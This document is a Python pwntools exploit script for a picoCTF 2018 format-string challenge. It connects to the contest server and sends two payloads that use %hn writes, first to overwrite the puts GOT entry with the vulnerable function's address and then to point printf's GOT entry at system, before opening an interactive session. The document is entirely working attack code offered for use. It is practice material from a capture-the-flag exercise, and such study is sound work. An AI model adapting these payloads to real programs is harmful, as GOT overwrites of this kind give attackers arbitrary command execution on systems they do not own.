#!/usr/bin/python
from pwn import *
from textwrap import wrap

HOST = '2018shell2.picoctf.com'
PORT = 56800

system_addr = 0x08048460
put_got_loc = 0x0804a01c
printf_got_loc = 0x804a010
vuln_addr = 0x080485ab

#conn = process("./echoback")
conn = remote(HOST, PORT)

payload = ''

# write start address of vuln function to puts
write1 = vuln_addr & 0xffff
write2 = 0x10000 + (vuln_addr >> 16) - (write1)

payload += p32(put_got_loc)
payload += p32(put_got_loc + 2)
payload += "%" + str(write1 - 8) + "x"
payload += "%7$hn"
payload += "%" + str(write2) + "x"
payload += "%8$hn"

conn.sendafter('input your message:', payload)

payload = ''
# write address of system@plt at printf's GOT
write1 = system_addr & 0xffff
write2 = 0x10000 + (system_addr >> 16) - write1

payload += p32(printf_got_loc)
payload += p32(printf_got_loc + 2)
payload += "%" + str(write1 - 8) + "x"
payload += "%7$hn"
payload += "%" + str(write2) + "x"
payload += "%8$hn"

conn.sendafter('input your message:', payload)

conn.interactive()
